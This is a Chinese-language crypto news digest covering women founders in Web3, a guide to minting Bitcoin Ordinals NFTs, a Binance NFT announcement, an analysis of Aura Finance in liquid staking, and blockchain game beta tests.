和行业最高的加密标准，使用户能够进行完全私密的交易，成为所有区块链的真正 SSL 层。 推特：@glozow Gloria Zhao 出生于美国加利福尼亚州，2020 年毕业于加州大学伯克利分校计算机科学专业。她还是英国支持比特币发展的非政府组织 Brink 的研究员。2020 年，Gloria Zhao 被 Brink 授予首个奖学金 。自那之后，她一直积极致力于 Bitcoin Core，主要负责内存池和验证代码方面。 去年 7 月， Gloria Zhao 成为第六位拥有 Bitcoin Core 提交权限的开发人员。而自 2009 年比特币问世以来，仅有 17 人获得过代码修改权限，Gloria Zhao 也是第一位拥有这一权限的女性。另据《华尔街日报》近期的一篇报道，Gloria Zhao 是最有希望成为比特币首席维护员的继任者。 推特：@Natalia_Ameline @ElenaCryptoChic 左边为Elena Sinelnikova，右边为Natalia Ameline Natalia Ameline、Elena Sinelnikova 是以太坊扩容方案 Layer-2 Optimistic rollup 网络 Metis的两位联合创始人，同时也都是非营利性国际女性区块链教育中心 CryptoChicks 创始人。 Elena Sinelnikova 拥有计算机科学硕士学位，专长是区块链、网络安全和全栈编程。同时是软件开发团队负责人，区块链教育家，MaxGapPlus、Jupiter Vision 等项目的区块链顾问。 Natalia Ameline 是一位有着多行业经验的高级财务主管， 拥有计算机科学和工商管理硕士学位以及 CPA/CMA 会计资格，擅长战略财务规划、决策支持、运营管理和变革管理。Natalia Ameline 早年在联合利华担任财务分析师，后加入全球知名航运公司 Pitney Bowes 并任职 18 年，从财务经理一直升任到财务高级主管、全球商业分析高级总监。除了 Metis、 CryptoChicks 联合创始人的身份外，Natalia Ameline 有一个备受关注的身份——以太坊创始人 Vitalik 的母亲。 推特：@_kathleenBreit Kathleen Breitman 毕业于康奈尔大学，2014 年与丈夫 Arthur Breitman一起发布了 Tezos 白皮书，并于 2016 年 10 月正式启动 Tezos 。此前，Kathleen Breitman 在由近百家金融公司组成的区块链联盟 R3 担任高级战略助理，还曾在埃森哲、Bridgewater 协会、《华尔街日报》任职。 推特：@SandyPeng1 Sandy Peng 毕业于剑桥大学，硕士毕业于伦敦政治经济学院，曾在香港证监会从事研究方面的工作，17 年开始开始从事 Web3 项目投资方面的工作，之前也做过游戏、产品类的项目。目前在 Scroll 团队负责非技术领域的工作。 2021年初，Sand 与 Ye Zhang、Haichen Shen 共同创立了以太坊扩容项目 Scroll。近期，Scroll 以 18 亿美元估值完成 5000 万美元融资，Polychain Capital、Bain Capital Crypto 等参投。 推特：@katie_haun Kathryn Haun 毕业于斯坦福大学，曾在美国司法部工作十年之久。2014年创建了美国政府首批加密货币工作组之一。2017年，Kathryn 离开政府加入 Coinbase 董事会，她在那里还遇见了 Chris Dixon，之后便离开 Coinbase 加入 a16z，成为加密部门的普通合伙人，共同推出并扩大了世界上最早和最大的专用加密风险基金。 在和众多有着企业家精神的优秀的创业者和建设者共事之后，Kathryn Haun 在 2022 年创办了自己的加密投资公司 Haun Ventures，旨在帮助创始人构建下一代互联网。目前已经筹集了 15 亿美元的资金来支持 web3.0 的发展。据 RootData 数据，Haun Ventures 自创立以来已出手投资 12 笔，投资组合包括 OpenSea、Aptos 等明星项目。 Morgan Beller，NFX 合伙人、Diem 联合创始人 推特：@beller Morgan Beller 毕业于康奈尔大学，获得统计和信息科学学士学位。Morgan 是 Libra 的联合创始人，也是 Facebook 用于 Libra 支付系统的数字钱包 Novi 的战略主管。她最初于 2017 年加入 Facebook，并负责 Facebook 在区块链、加密货币和去中心化技术上的战略。此前，她在 Medium 负责企业发展，领导了对 Embedly 的收购，并在制定 Medium 的订阅战略方面发挥了关键作用。Beller 还曾做过 a16z 合伙人，在 eBay 担任买家体验的产品经理等。 Morgan 于 2020 年加入专注于初创公司的风投机构 NFX，担任合伙人和加密投资基金主管。据 RootData 数据，NFX 投资组合数量为 24 个，投资过的项目中不乏 Celestia、Sui 等明星项目。 Cheryl Liu，Deeper Network 联合创始人 Cheryl Liu 是一名优秀的连续创业者，毕业于美国怀俄明大学，她还拥有数学结构学博士学位。在进入区块链领域之前，她曾在教育领域工作，并创立了线下学校，有着丰富的创业经验。直至后来接触了区块链，于2017年创立了链全科技咨询有限公司，才开始在区块链领域大展手脚。 Cheryl Liu 同时也是 Deeper Network 的市场合伙人和联合创始人。Deeper 作为 Web3 基础设施，为用户提供企业级防火墙、隐私保护和去广告等功能。 推特：@mariaveirug Marina Guryeva 自 2015 年以来积极参与区块链领域，曾为投资区块链的初创公司 Cyber​​Fund 的董事；后于 2019 年加入基于区块链的社交网络 Commun，担任总监领导由自治社区运营的基于区块链的社交网络。 2021 年，Marina 创立了 Neon Labs，致力于将 Solana 的可扩展性和低交易成本带入以太坊生态系统。在进入区块链行业前，Marina Guryeva 拥有丰富的市场公关和战略规划经验。 推特：@LeahWald Leah Wald 是一位经济学家，擅长资产管理。她毕业于以色利海法大学，还曾在北京大学留学学习国际经济与汉语，后陆续攻读了美国乔治敦大学、Pitzer 学院的国际政治与经济硕士和 IE 商学院管理学硕士。 从 IE 商学院毕业后，Leah Wald 先后从事了非政府组织、世界银行和资产管理工作。2020 年8月，Leah Wald 创办了专注数字资产经济的资产管理公司 Valkyrie，并于 2021 年 10 月成为在加拿大证券交易所上市的加密投资公司 Cypherpunk Holdings 的董事会成员。 此外，Leah Wald 还是《福布斯》的特约撰稿人，曾与人合著过《超波理论：金融市场的流氓浪潮》。 推特：@ljxie Linda Xie 是 Scalar Capital 的联合创始人兼管理合伙人。此前，她是 Coinbase 的早期员工和产品经理，负责构建内部工具，包括合规、欺诈和财务系统。在加入 Coinbase 之前，她是 AIG 的投资组合风险分析师，她也是 0x 的顾问。Linda 拥有加州大学圣地亚哥分校的经济学学士学位。 Linda Xie 与 Jordan Clifford 在 2017 年创办了专注于加密资产的对冲基金公司 Scalar Capital。据 RootData 消息，Scalar Capital 投资了 YGG、Aztec、dYdX、Aleo 等一系列明星项目。 Galia Benartzi ，Bancor 联合创始人 推特：@galiabenartzi Galia Benartzi 是一位连续技术创业者。她拥有达特茅斯学院的比较文学学士学位、SAIS 约翰霍普金斯大学的国际经济学硕士学位。 2005 年从大学毕业后，Galia Benartzi 便参与创办智能手机社交游戏公司 Mytopia；2010 年，又创办 Particle Code 用于移动应用的跨平台开发技术，后被 Appcelerator 收购；2013 年，她从硅谷搬到特拉维夫，作为 Founders Fund 的风险合作伙伴，支持和投资以色列当地技术发展。2017 年 3 月参与创办去中心化的链上自动做市商 (AMM) 网络 Bancor 协议。Galia Benartzi 也是 Powder Mountain 创始成员，对分布式技术、女性赋权、自然健康与植物充满热情。 推特：@beccaliao Rebecca Liao 曾于斯坦福大学学习经济学，并就读于哈佛法学院，是一个从业多年的律师。曾担任 B2B 行业独角兽 Globality 业务发展总监和亚洲区负责人，曾在美国克林顿外交政策团队任职并专注于技术政策方面。她还曾联合创立 Skuchain（年交易量超过 50 亿美元，被世界贸易组织评为贸易和供应链金融领域三大区块链公司之一）并担任顾问和前 COO。 Rebecca 目前还是 Sommelier Protocol的顾问，她正在为该项目设计 DAO。她还是斯坦福大学法律、科学和技术项目的研究员，制作并主持 global-public-policy 播客。 Rebecca 于 2022 年初创立 Saga，该协议重新构想了开发人员和最终用户与区块链的交互，着眼于可扩展性、主权和易于设置的特性，帮助将启动专用区块链变得像部署智能合约一样简单。 从左到右分别为Helena Gagern、Grace Wang Salsa 是一个 Web3 消息传递平台，可使用链上数据个性化电子邮件和应用内消息。用户可以个性化他们的公告体验，社区管理员可以使用钱包到钱包消息传递协议发送安全消息。 公司背后的两位联合创始人 Grace Wang、Helena Gagern 均为女性。Grace Wang 曾就读于宾夕法尼亚大学，后在 Palantir、Primer AI 从事软件开发和管理工作；Helena Gagern 毕业于伦敦大学学院，连续创业者，也有丰富的软件开发和产品设计等经验。 Imge Su Cetin 是数据科学家，致力于使用在线搜索数据和社交媒体数据为位于柏林的 IOM 全球移民数据分析中心预测全球移民模式。她曾就读于加州大学圣地亚哥分校研究生院，专攻应用数据科学和统计分析，精通统计和分析工具和软件。 Imge Su Cetin 曾于 2019 年 加入 Deep Decarbonization Initiative (D2I) （深度脱碳计划）担任研究员，该计划由加州大学圣地亚哥分校的雅各布斯工程学院和全球政策与战略学院合作创立；2020 年加入国际移民组织 IOM - UN Migration 担任数据科学家；2021年4月 正式创办投资趋势数据平台 Defy 。 Séraphie de Tracy 拥有巴黎 HEC 商学院管理学硕士学位和 CEMS 双学位。她在企业 SaaS 服务方面拥有丰富的经验，曾担任金融科技公司 Stratumn 的首席运营官、增长运营副总裁和销售总监等职务，还曾在全球最大保险公司之一的 AXA Global P&C 担任高级战略经理，全球顶级战略管理咨询的罗兰贝格担任顾问。 2022 年 5月 Séraphie de Tracy 创办基于 NFT 的数字参与平台 Cohort 并担任首席执行官。Cohort是一个总部位于法国的Web3 SaaS解决方案，使用NFT（非可替代令牌）来帮助品牌创造创新体验和产品，而无需任何技术或大量时间承诺。通过Salesforce和Shopify等集成，Cohort通过“无代码、无加密、无钱包”解决方案消除采用障碍，使所有品牌和客户都可以访问web3。  ( 9 min )
    一文看懂什么是BTC NFT以及未来潜力
    春节过后，Web3行业最大的热点来源，不是L2新星Arbitrum的强势崛起、也不是两大新型王牌公链Aptos和Sui的明争暗斗。反而是来自Web3活化石的BTC。自从去年12月14日，Ordinals协议推出以来，截至3月6日，已经有超过30万枚NFT被铸造，而第一个使用Ordinals免费铸造的10K集合Bitcoin Punks在不到一天的时间内便被一抢而空。这在以前，几乎不敢想象，BTC一直以来，几乎就是迟缓和昂贵的代名词。 人们除了关心比特币的价格走势以外，不会对它倾注更多的关注度。以至于比特币被戏谑为：“纯金打造的老爷车，最大价值就是在博物馆里展览。” 但现在，BTC毫无疑问迎来了第二春。根据Dune显示，比特币NFT在今年2月迎来了高峰： 链接：https://dune.com/dgtl_assets/bitcoin-ordinals-analysis 可能到现在，还有许多人对「比特币生态繁荣」、「比特币出NFT」这些概念还一脸懵逼。接下来我们就一一为大家说明： 如果用一句话来形容：BTC NFT就是基于BTC生态所发布的NFT产品。听上去，似乎和ETH NFT Polygon NFT没什么区别。 但事实上，BTC链上NFT的发行，是基于BTC网络最小计量单位Sats（聪）来定义的。首先我们需要先了解下什么是Sats：比特币小数点后第8位的名称，与BTC比值为1亿:1，为了纪念Satoshi（中本聪）的伟大创举而以Sats命名。那么BTC网络上，是如何用Sats来发行NFT的呢？这里就不得不提一个协议：Ordinals。 链接：https://ordinals.com/ Ordinals是基于BTC网络的一种NFT协议，旨在为每satoshis（sat）分配唯一身份。通过使用Ord软件，该协议将数据添加到这些sats，并允许软件用户基于一个序数（ordinal numbers）系统来跟踪它们。换言之，Ordinal协议将比特币最小单位sats以NFT的形式表现出来，并为sats赋予了理由充分的交易价值和收藏价值。当最小单位成为新的炒作标的，某种程度上，也算对比特币做了一次扩容。 自从Ordinals协议诞生后，用户就可以在比特币链上铭刻信息，包括文字/图片/音频/视频，从而创造出了比特币链上的NFT。 就好比在一张1毛钱的货币上刻上你的名字和图片，这样，这张1毛钱就变成了Non - Fungible Token。譬如这编号为dd082adcb3aab2882185e3a2f927bbff53cf6ffe8ab472d57740ea9f95c0acdai0，就有以下的特征：这枚Sats被挖出的时间，百分位，名字，挖出的所在的区块还有稀缺度，等等，同时这枚Satoshi还被铭刻上了一张可视化的jepg，根据这些特征，你都可以很方便的寻找到它。这枚Sats也叫做Inscription 338381，也就是它是第338381号被篆刻的铭文。 与智能合约相比有什么不同？ 通过上文，我们了解了BTC NFT的由来，那么它和当前市面上常规的ETH NFT等有何不同呢？首先我们需要先明确一下智能合约NFT的定义。 Smart Contract NFT：如何实现唯一性&不可分割性：由整数构成的Token ID映射到包含NFT metadata（名字、描述、图片地址）的URL中，再以合约作为集合边界，于是通过合约地址→TokenID→metadata就可以一层层的将某个特定NFT检索到。 Collection：用721或1155协议合约来进行NFT Collection的发行，转移。 Metadata：通常存储在IFPS或中心化服务器，Collection的智能合约中有metadata的属性，设置metadata指向一个URL存储地址 交易：通过Marketplace交易合约，将NFT转移权限授权给交易合约 也就是说，一个NFT至少应该具备四种要素：唯一性、不可分割性、可转移性以及可描述性。我们来看看BTC NFT是如何实现的？ 唯一性：Ordinals序数理论：序数是按照聪被开采的顺序将其从0开始编号，第一个区块中的第一个聪的序号为 0，第二个聪的序号为 1，最后一个聪的序号为 4999999999，从而每个聪具备了ID属性。 不可分割性：上文可知，Sats是BTC最小单位，无法再被拆分。 可转移性：将交易输入中的聪按先进先出的顺序转移到输出sats，从而实现定向转移。但目前交易过程，由于没有智能合约，因此需要一个中心化的平台来充当仲裁者。 可描述性：存储在BTC链上，因此有大小限制。因铭文在链上，无法引用链下内容，所以无法被修改，而不像是以太坊NFT通过链下的IPFS或者AWS中去索引，但也因无智能合约等问题所以铭文无法支持链上版税。 硬件要求 电脑1t以上固态硬盘，一般大家都会用自己的个人电脑去安装比特币全节点，除去自己使用的空间外，至少还需要600g的空间存放比特币区块。 正常的网络环境，同步需要时间比较长， 大概需要10个小时左右，国内用户可能需要翻墙，或者需要更长的时间。 流程 需要下载BitCoin Core并同步全节点 ，500Gb+空间； 需要下载Ordinal并创建Ordinal钱包； 使用ord协议的指令进行Satoshi的刻画； 转入BTC到钱包。 设置铸造机器人：方便铸造和接收订单。 铸造NFT：可以很简单地上传图片/音频/视频，让机器人帮我们铸造成NFT。文件大小越大，铸造所需要花费的汽油费越多，则越贵。 铸造Sats域名：比特币上的域名购买一次，永久免费，不需要每年续费。 https://docs.sats.id/sats-names/about 设置铭文，比特币的铭文可以是一个图片，也可以是一个txt文档，下面以txt文档为例，铸造一个sats域名。 打开‘文本编辑’这个自带的软件，输入sats官方要求的内容 格式-制作纯文本，然后保存为txt文件，复制文件保存的路径。 在ordinals命令窗口中，输入 ./ord wallet inscribe ‘文件路径’ - - fee -rate 。可以在这里查看当前的最优先费率。这里要注意，一定要手动设置费率，因为默认的费率是1，不设置会被卡住无法确认交易。 https://hub.cryptocell.guru/ordinalsturbo/ 等待区块确认，运行 ./ord wallet inscriptions 即可查看铭文信息。或者去ordinals官网也能看到最新的信息。 以上流程为全节点搭建的BTC NFT铸造方法，这样做的前提需要用户在自己的电脑上同步BTC的全节点，尽管很麻烦，但能够减少铸造过程中的手续费损耗，也有利于深度参与之后的BTC NFT生态。 如果用户认为搭建全节点太过麻烦，事实上，目前业内也已经有许多第三方的节点来替代铸造。比如：ordinalsbot、Gamma、unisat_wallet等等。这些第三方的好处在于用户能很简化铸造流程，但也意味着需要支付更多的手续费和产品服务费。关于这些产品的说明在下文中有所阐述。 （1）Yuga Labs：NFT领域最强IP缔造者Yuga Labs官宣一项计划：将基于Ordinal协议在比特币区块链上推出NFT系列TwelveFold。TwelveFold基于12 x 12大小的网格，这是比特币区块链数据制图的视觉寓言。此外，与BAYC等PFP此列不同，构成TwelveFold系列的作品由Yuga Labs的艺术团队使用3D建模、算法构造和高端渲染工具在内部制作，以致敬目前手工完成的序号铭文。 链接：https://yuga.com/ （2）DeGodsNFT：Solana生态NFT项目DeGods已经将其535个NFT在Solana链上销毁，并利用Ordinals协议在比特币链上一个单独的区块中铸造为“铭文”（inscription） 链接：https://degods.com/ （3）Crypto Punks：Crypto Punks是第一个在比特币网络发行NFT的项目，目前BAYC也考虑在比特币中发行NFT。 链接：https://bitcoinpunks.com/ （4）Gamma.io: Gamma平台旨在将收藏家、创作者和投资者聚集在比特币生态系统中。该平台由NFT市场、Launchpad以及社交互动三个核心产品组成。用户可以使用Gamma机器人提供的工具铸造NFT，解决了在比特币网路上创建NFT技术门槛较高、复杂且耗时的痛点。 链接：https://gamma.io/ （5）Ordinals Bot: Ordinals Bot同样也是一款在Ordinals协议上铸造比特币NFT的工具，该工具可免去用户在铸造比特币NFT时运行比特币节点的麻烦。玩家可以上传你需要铸造的NFT文件，填写你需要接收的NFT地址（地址建议是bc1开头），点击"Submit & Pay Invoice"后会弹出付款地址和付款二维码，付款即可。这个比较友好的是付款支持闪电网络和比特币主网。因为比特币网络较慢，所以付款之后可能10～60分钟才可能会正式被网络确认生效。 链接：https://ordinalsbot.com/ （6）Stacks：Stacks是一个由比特币建设者发起的开源项目，是可使用智能合约的比特币Layer 2。严格意义上来讲，任何能在以太坊、Solana上构建的，都可以在Stacks L2s上构建。目前Stacks L2上的合约已锁定了2.5亿美元，并已向用户发放了2200枚比特币作为奖励。Stacks今年即将推出的下一版本将增加一个去中心化的BTC锚定，可以轻松实现将BTC转入或转出Stacks L2。 链接：https://www.stacks.co/ （7）getAlby：支持比特币闪电网络支付 链接：https://getalby.com/ （8）Xverse：支持BTC NFT储存 链接：https://www.xverse.app/ 目前基于BTC NFT概念诞生的项目非常丰富，本文在此汇总几个标杆性的项目代表。veDAO研究院接下来会发布关于更详细的BTC NFT生态汇总，敬请期待。 尽管BTC NFT生态非常繁荣，但目前比特币板块的融资情况却不容乐观。截止到2月22日，据The Block的数据，过去一年目前比特币生态只有5亿美元，和整个行业近300亿美元融资总额相比，实在不符合比特币作为区块链霸主的身份。 除了融资问题以外，当前BTC NFT也有诸多诟病： 首先是门槛奇高： 内存需求高； 操作流程繁琐； Gas昂贵，消耗资金量大，小玩家难以负担。 其次，被BTC原教旨主义者所抵制： 上文所讲，将Sats赋予价值和意义，某种程度上算是一种为BTC扩量的行为，这会让许多BTC原教旨主义者认为影响了BTC的稀缺性。 此外，将比特币赋予NFT的功能，也被BTC原教旨主义者视为违背了比特币白皮书所倡导的精神内核。 但不论怎么样，此次Ordinals的NFT创新，一定程度上也是对古老比特币未来发展路径的一种新颖的尝试，再加上btb生态本身资金体量巨大，随着比特币生态逐渐被重视，比特币内部所积蓄的潜力也将被进一步释放。 @Jason_chen998 @CH_909  ( 5 min )
    币安NFT市场新增支持Polygon网络
    PANews 3月8日消息，币安 NFT 市场宣布 Polygon 网络已添加到其支持的链列表中，用户现在可以在币安 NFT 市场上从 Polygon 网络购买、存入、提取和铸造NFT。截止目前，币安 NFT 市场已兼容 BNB 智能链 (BSC)、以太坊 (ETH) 网络和 Polygon (MATIC) 网络。  ( 4 min )
    为什么Aura Finance可能成为LSD最大的黑马？
    原文：《下一轮由LSD驱动的DeFi Summer中，Aura Finance能否成为黑马？》 作者： 本文介绍Aura Finance的基本情况，为什么它能够在LSD驱动的DeFi Summer中成为一匹黑马。 LSD，全称Liquid Staking Derivatives，即流动性质押衍生品。也是笔者之前通过数篇文章着重分析的赛道。 LSD协议是伴随着ETH2.0升级成长起来的DeFi衍生品赛道，随着Lido的TVL超越MakerDAO跃居DeFi榜首，RocketPool、Stakewise等产品的资产规模也不断扩张，俨然LSD已经成为一个蓬勃发展的赛道，方兴未艾。 尤其以太坊上海升级临近，LSD赛道火热，可以说是今年2023年的一个主旋律。 随着美国SEC对Kraken平台的处罚，为中心化质押业务敲响了警钟。并且市场也在不断捧高SSV这种，能够帮助质押协议更加去中心化的技术。 长久看来，无论是从监管层面还是生态系统性安全的考虑，以太坊质押都将走向更加去中心化的道路。 那么第一个问题就来了，去中心化协议上需要充足的流动性来保证stETH这类流行性衍生品的兑付能力。 其中笔者认为潜力最大的项目是 Aura Finance，它是由0x Maki 创建的基于 Balancer 生态的收益治理平台。 用户通过持有 BAL（Balancer）和 AURA（Aura Financ），为 Balancer 上的 LP 和 BAL 质押者提供最大程度的收益激励。 不过，相比其他 LSD 协议，Aura Finance 关注度并没有那么高，很有可能是上海升级LSD赛道最大潜力股。（相关阅读：《项目研报丨Aura Finance：Balancer生态收益聚合器和元治理平台》） 首先Aura Finance之于Balancer，就极其类似于Convex之于Curve。因此要来解释为什么Aura 能够影响协议的流动性，我们就用大家更为熟悉的Convex和Curve来解释，并最后替换一下主体即可。 在 Curve 设计的机制中，持有者只有凭借将 CRV 在锁定后获得的 veCRV，才能够捕获 Curve的价值、发挥代币的功能并行使治理权力。 这种治理权利可以在每周决定每一个池子排放CRV奖励的权重，APY 更高的池子，自然会吸引到更多的 LP 资金前来获取收益，更多的LP资金也就意味着个更好的深度，滑点更低的兑换。 所以本质上，veCRV 就代表了对 Curve 的控制权。 我们可以看到Lido的stETH在Curve上的交易对ETH-stETH的TVL为17亿美金，日交易量450万美元。 如此庞大的TVL为stETH提供了充沛的流动性，保证了它的兑付能力，用户就可以放心拿着stETH做各种事情了。 因此我们能够看出veCRV的投票权带来特定池子的高收益，进而带来的充沛流动性的重要性。 那么现在就来到Convex了，在Convex 中用户通过质押 CRV 1:1的持有 cvxCRV，即可获得更高的收益，即Curve 平台费用收入+3Crv 奖励，以及 CVX 奖励，但却损失了直接持有veCRV的投票治理权力。 也就是说用户通过让渡自己 CRV 的潜在投票权，换取了比正常在 Curve 质押更高的一站式收益（增加了CVX的奖励）。 CVX 是 Convex 的原生代币，最大供应量为1亿枚，持有 CVX 便相当于拥有了对 Convex 的控制权——CVX 作为 Convex 平台的治理代币，通过锁定 CVX 便可以让 LP 对 Convex 的 veCRV 治理决策进行投票。 一言以蔽之，控制了 CVX，就是控制了 Convex，而控制了 Convex，就等同于控制了 Curve。 那么接下来显而易见的事情就发生了，如果项目方要获得充足的流动性，那么他就可以去购买足够的Convex或者去贿赂Convex的持有者。 最终将治理决策权放在自己的手里，将高收益分配到自己的池子里去，吸引大量追求高收益的LP入驻，从而增加流动性。 现在我们把Aura Finance当成Convex，将Balancer当成Curve，就可以大致理解为什么Aura Finance能够在流动性的选择上发挥作用了。 数据显示，目前 veBAL 已铸造总量约为 1044.49 万，其中 Aura 是排名第一的持有者，持有约 276.95 万 veBAL，占比约 26.53%。 由此也意味着 Aura 平台整体占据了 Balancer 约 26.53% 的治理权，贿赂 vlAURA 的持有者也成为了项目方们的一个重要选择。 目前可以在 Hidden Hand 平台为 BAL 奖励分配权重的选举进行贿赂，吸引 vlAURA 的持有者投票给对应的池子。 2、为什么选择Aura Finance而不是Convex 更高的APY Aura Finance有不少机制设计来保证相对高的收益。 例如，对于LP来说，Aura 消除了 Balancer Gauge 加速池系统（gauge boosting system）的复杂性，为所有 Balancer 流动性 Gauge 存款提供流畅的使用流程。 Aura 允许 LP 通过协议拥有的 veBAL 提升高额收益，同时还可以积累额外的 AURA 奖励。 上图左边是Curve，右图是Balancer，下图是Aura Finance，很明显能够看出Aura Finance的rETH-WETH的收益率高达6.75%，相比其他两个平台的收益将近是两倍的差距。 更高的资本效率 项目方通过贿赂获得这种收益和贿赂成本的比值也叫做资本效率，数据显示，每消耗 1 美元就会产生 2.35 美元的排放量，Aura Finance 的资本效率比 Convex 高出 64% ，这样的结果就会吸引更多的项目方。 更低的Gas费用 在其他 DeFi 协议上进行交易时，token 通常在多个池之间转移，包括逻辑在内，这是一个高度消耗 Gas 的过程，被称之为多跳交易（multi-hop trading）。 比如，下图是 BTC 和 stETH 之间的示例（可以看到其中的 Gas 消耗很高）。 在 Balancer 上，此类大量消耗 Gas 的操作得到了改善，所有的账户都在一个环境之下，只有最终数量的 token 被转移到 vault 和从 vault 转出。 BTC > stETH，Balancer 消除了对 Gas 频繁消耗逻辑的需求，这种创新被称为 BatchSwap（批量交换）。 Gas费消耗的降低，有利于散户的进入和高频交易，是行业发展的必定趋势。 庞大的合作关系网络 Aura Finance的创始人是0xMaki，也是Sushiswap曾经杰出的领导者，在Maki接受了Sushiswap之后，组建了核心团队，并且与DeFi蓝筹协议建立了合作关系。 最重要的是创造了与Uniswap不同的发展路线图，帮助Sushiswap成了当时足以撼动Uniswap的DEX之一。 正是由于Maki的特殊身份，这次创业也极大的发挥了他个人的价值和关系网络，Aura Finance 已然默默与几乎所有主流 LSD 协议建立了合作关系。 其中包括 Lido、Rocketpool、Frax、Swell、Stakewise、Stader、Ankr 和 StaFi 等，所有这些协议都将在上海升级阶段开始提供激励措施。此外，期待更多其他项目（EtherFi、Diva、Swell）的跟进。 Rocketpool 算是第一个意识到 AURA 潜力的项目，自 3 个月前开始激励以来，rETH-WETH 的流动性增加了 6 倍，导致交易量和费用大幅增加，目前 RPL 仍然是 Aura Finance 上最大的参与者之一。 正如前面分析Curve和Convex的案例所描述的，对于在 Balancer 建池的 Rocket Pool而言，只要rETH/WETH池的 BAL 奖励分配权重越高，就会吸引越多的人在 Rocket Pool 质押 ETH 获得 rETH，然后到 Balancer 提供流动性进行挖矿，使 Rocket Pool 在 LSD 赛道的市占率上升。 同时，池子的流动性越高，rETH 的脱锚风险也就越小。 对于新的LSD协议来说，尚未开垦的经济模型是他们的最大优势，直接以代币激励的方式挖矿吸引资金流入，对老牌协议发起一场类似“吸血鬼攻击”，说不定来一场 LSD 挖矿Summer呢？ Aura Finance背靠Balancer 的流动性支持，或许也能成为一匹黑马。 RPL 的做法为基本的 LSD 增长给出了范例：支付投票奖励——增加流动性和 TVL——集成以建立安全和差异化的产品。从结果上看，其他合作的协议效仿并开始抢夺投票权只是时间问题。 OlympusDAO 购买了 20 万美元，并将在未来 4 个月内再次购入 80 万美元，最近还在 Aura 中存入了价值约 7000 万美元的 BPT。此外，他们还卖出了 CVX 头寸用来买入 AURA。 Frax Finance 也正在寻求积累 AURA，正如其 founder Sam 所暗示的那样，Frax 正在讨论针对增强型 FRAX 池的试点投票激励计划。 Synapse Protocol 也提议将 SYN 流动性迁移至 Balancer，并开始在 Aura 上提供投票激励。每轮大约 10 万美元的投票奖励，这将使 vlAURA 收入增加约 30% 。 Redacted cartel 将在上海升级后推出其 LSD 支持的稳定 DINERO，且很可能通过其 vlAURA 持有来激励流动性。 Stargate Finance 是 Aura 的主要利益相关者，最近也提供了 21 万美元的激励措施，也是其迄今为止投入 Aura 的最大一笔激励资金。 Aave 的激励计划近期也提上了日程，将在未来几天推动锁定 veBAL 的提案，也可以通过 Aura 激励 GHO 流动性。 Alchemixfi 已将其 ALCX 的流动性转移至 Balancer，并将通过其 TOKE 持有的资金购入 AURA，未来的 Alchemix 资产可能会被整合，并且关于提供投票激励的讨论已经在进行中。 谈及 Arbitrum，一旦可以进行跨链，可能会看到很多 Arbitrum 项目进入其 Aura 生态。比如，当 MAGIC、JONES、GMX、GNS、DOPEX、VSTA 等都开始与 LSD 一起激励 vlAURA 投票时会发生什么？ 与 Aura 的合作还在继续，后续新的合作伙伴包括 Ribbon、Liquity、Pendle、Gearbox、Euler 等。 最近的解锁的 vlAURA 的 70-80% 都进行了再次锁定，几乎没有卖出。像 Gnosis、Badger 和 Messi 这样的大户都是长期持有的，他们每几周都会不断累积锁定 AURA。 Nansen smart money 通过在过去一个月内的积累，token 数量涨了 5 倍。Arca也在过去一个月内大量买入： 4、总结 根据 DefiLlama 的数据，当前 Aura 的 TVL 为 6.17 亿。 Aura 作为 Balancer 生态的龙头，和 Balancer 的发展是相辅相成的，目前包含大量 LSD 协议在内的项目方涌入 Aura。 目前 Balancer 流动性最大的前三个池子分别为 wstETH/WETH、BAL/WETH、rETH/WETH，第二名是与 veBAL 相关，另外两个池均为 LSD 相关（Lido 和 Rocket Pool）。 本质原因在于其资本效率优于传统的流动性奖励模式，也优于同赛道的 Convex。  ( 7 min )
    详解三款大制作游戏Bigtime、Illuvium和Parallel的内测玩法和资产市值
    做了丰富的铺垫后，大制作链游已先后开启了内测。 此前，PANews统计融资2022年年报，数据显示2022年链游赛道公开投融资事件共334起，融资总规模为44亿美元。其中，融资500-1000万美元和1000-5000万美元的项目居多，少数融资超过5000万美元。其中，部分融资极高且大制作类型的游戏也已经开启内测，并有望于2023年正式上线。本文PANews将为你介绍对比Bigtime、Illuvium、Parallel三款游戏，以及其目前的内测情况。 Bigtime是一款结合了动作格斗、NFT收集和跨越历史的多人合作RPG冒险的3A游戏，由Decentraland联合创始人Ari组建，开发团队来自使命召唤、英雄联盟、堡垒之夜等游戏团队。2021年5月12日，Big Time Studios宣布完成2100万美元融资，由FBG Capital领投。该团队同时开发了Web3游戏资产交易平台Openloot。 Big Time Studio在2021年年末和2022年3月份举行两次公开销售游戏内资产Space NFT，Space NFT与Decentraland和Sandbox中的LAND具有相似的功能，其价格根据大小等级分为299-3299美金不等。两次公开销售的Space NFT数量共为6万个，占总量的10%。其余SPACE NFT将作为战利品掉落，掉落周期将持续数年。官方通过售卖6万款Space NFT一共获得7000万美金。 此外，官方售卖抢先体验VIP通行证、电影时刻 NFT、独家高概念艺术，以及名为“来自时空的明信片”的神秘盒子系列获得超千万美元收入。 内测玩法 Bigtime于2022年4月19日开启内测，游戏在PC端上线。持有VIP通行证可以参与内测，内测时有几率爆出稀有款NFT，玩家获得此类NFT后可以在Openloot市场进行交易。据社区反馈，欧皇玩家游戏过程中爆出超级稀有NFT后可当场回本。 据官方信息，VIP通行证分为黄金（总量1000个）、白银（总量3000 个）、翡翠（总量8000个）和红宝石（总量16000个）共四个等级。其中前三者均通过二级市场出售，红宝石通行证仅对创作者、艺术家和社区的核心贡献者免费开放。 游戏内测进入模式为分批进去。持有黄金通行证的玩家最早进入内测，五周后白银通行证玩家进入，八周后翡翠通行证玩家进入，2022年7月14日红宝石玩家进入。玩家进入内测越早，游戏过程中获得稀有NFT的爆率越高，同时游戏内会掉落一些Space NFT。 游戏生态内除多种装饰和效用性NFT外，还将在抢先体验阶段结束时上线游戏内代币TIME。该代币仅在游戏中可用，并且只能通过游戏战斗、任务和副本的方式产出。没有投资者或员工能够获得赠款或购买TIME代币，也没有私募、预留等。其用途为游戏内主要的价值传递媒介，包括购买稀有或专属的NFT饰品、加快装备的制作时间以及修复破损和消耗的物品。 代币产出具体为玩家需要持有空间（Space NFT）、时间守护者（Time Wardens）、时间沙漏（Hourglass）这3款NFT，将时间守护者NFT部署在空间上，再用时间沙漏NFT充能，即可在游戏过程中掉落代币。沙漏中的沙子会逐渐消耗，玩家需要用时间守护者和游戏代币充能以继续使用。越多的时间沙漏同时运作，掉落的游戏代币越多。 